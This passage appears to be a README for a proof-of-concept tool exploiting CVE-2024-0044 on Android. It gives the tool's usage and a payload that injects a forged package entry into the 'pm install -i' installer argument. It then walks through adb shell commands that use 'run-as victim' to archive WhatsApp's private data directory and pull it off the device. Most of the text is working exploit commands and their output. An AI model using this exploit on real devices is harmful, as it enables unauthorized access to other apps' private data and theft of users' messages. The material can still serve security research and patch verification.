An attacker can exploit this by manipulating the session creation process, potentially gaining unauthorized access to sensitive data and performing unauthorized actions on the affected device​

usage: cve_2024_0044.py [-h] -P P -A A

CVE-2024-0044: run-as any app @Pl4int3xt

options:
  -h, --help  show this help message and exit
  -P P        package name (default: None)
  -A A        apk file path (default: None)
```
``-P`` is used to specify the target package name you want to run as 

``-A`` to specify the apk file to push in the device
## Exploitation
Run the tool 
```python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk```

A ```payload.txt``` file like this will be generated
```
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
```
#### The tool automates some parts and other parts are manual. You can exit after generating the payload and run all the commands manually or you can continue with the instructions 

### Next you'll need to connect to your device using adb shell and paste in the payload and make sure you get a ``Success`` message back after the last command
```
pl4int3xt ~>  adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
```

### Next we get the whatsapp data using the following commands
```
pixel:/ $ mkdir /data/local/tmp/wa/                                                                            
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
```
Create a temporary directory: `mkdir /data/local/tmp/wa/`

Create a placeholder for a tar file: `touch /data/local/tmp/wa/wa.tar`

Set wide-open permissions: `chmod -R 0777 /data/local/tmp/wa/` to ensure any user can read, write, and execute within this directory.

Switch user context: `run-as victim` to gain the same permissions as the "victim" user.

Archive the target application's data: `tar -cf /data/local/tmp/wa/wa.tar com.whatsapp`, creating a tarball of the WhatsApp data directory.

### Finally pull the data
```adb pull /data/local/tmp/wa/wa.tar```

You can extract the data using `7z` or any other tool

You can use [Whatsapp chat exporter](https://github.com/KnugiHK/Whatsapp-Chat-Exporter) to convert it to HTML

This allows you to get whatsapp data without a root access on your device
